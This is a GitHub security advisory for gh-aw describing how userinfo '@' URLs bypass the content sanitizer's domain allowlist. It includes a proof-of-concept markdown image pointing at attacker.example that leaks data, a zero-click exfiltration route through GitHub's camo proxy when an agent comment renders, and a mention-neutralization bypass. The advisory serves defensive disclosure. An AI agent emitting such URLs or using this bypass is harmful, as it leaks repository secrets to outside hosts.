Skip to content

gh-aw: URL allowlist bypass via userinfo @ in the content sanitizer (exfiltration channel)

Moderate
pelikhan published GHSA-73j6-rcxw-76w7 Aug 7, 2026

Package

actions github/gh-aw (GitHub Actions)

Affected versions

<= 0.82.4 (all released versions; verified on main at commit 966ccb8, 2026-07-12)

Patched versions

v0.86.0

Description

Summary

The content sanitizer's URL redaction claims to redact any https:// URL whose
host is not on the allowlist, but its host regex stops at @. For
https://github.com@evil.com/, the regex captures github.com (allowlisted) and
the real host evil.com passes unredacted. This defeats the URL-redaction
control and gives an exfiltration channel, including a zero-click variant through
GitHub's camo image proxy when an agent comment renders. It needs no special
config, which gives it the broadest reach of the issues I found in this
review of gh-aw.

I verified this against current main at commit 966ccb8 (2026-07-12). The file
is byte-for-byte identical (blob bcb3256) to the commit where it was first
verified, bdfdb8e (2026-06-24, ~v0.80.9); no commit touched it in between.

Details

sanitizeUrlDomains uses httpsUrlRegex
(actions/setup/js/sanitize_content_core.cjs:268):

/https:\/\/([\w.-]+(?::\d+)?)(\/(?:(?!https:\/\/)[^\s,])*)?/gi

The host capture group ([\w.-]+(?::\d+)?) does not include @, so for
https://github.com@evil.com/ it captures github.com. applyDomainFilter
(:276-311) splits on :, matches the allowlist, and returns the URL unchanged.
The real host is evil.com. The protocol-relative regex at :330 has the same
host group, so //github.com@evil.com/ bypasses too. There is no new URL()
parse of the content on this path; the only new URL() in the file builds the
allowlist from environment variables.

The mention-neutralization sibling is also present. neutralizeAllMentions runs
at :1290, before URL sanitization at :1297, and is not re-run afterward. A
redacted host rewritten to (evil.com/redacted)@maintainer leaves @maintainer
as a live mention.

PoC

sanitizeContent("![x](https://github.com@attacker.example/x?leak=SENTINEL)")
returns byte-identical output; the URL is not redacted. I confirmed this offline
against the exact regex and filter logic, on the bare, markdown-image, and
protocol-relative forms, and on both the incoming
(actions/setup/js/sanitize_incoming_text.cjs) and output
(actions/setup/js/sanitize_content.cjs) paths. A plain https://evil.com/...
with no @ redacts correctly, so the bypass is specific to userinfo. No test
covers @ in the authority.

Impact

Defeats URL redaction and provides an exfiltration channel. Zero-click via
GitHub's camo image proxy when an agent comment containing such a markdown image
is rendered: the proxy issues a server-side GET to evil.com with the query
string. No special config is required.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N (High). Suggested vector.

Suggested fix

Parse the authority with new URL() and reject any credentials/@ in it,
instead of the regex. Re-run mention neutralization after URL redaction.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Origin Validation Error

The product does not properly verify that the source of data or communication is valid. Learn more on MITRE.

Credits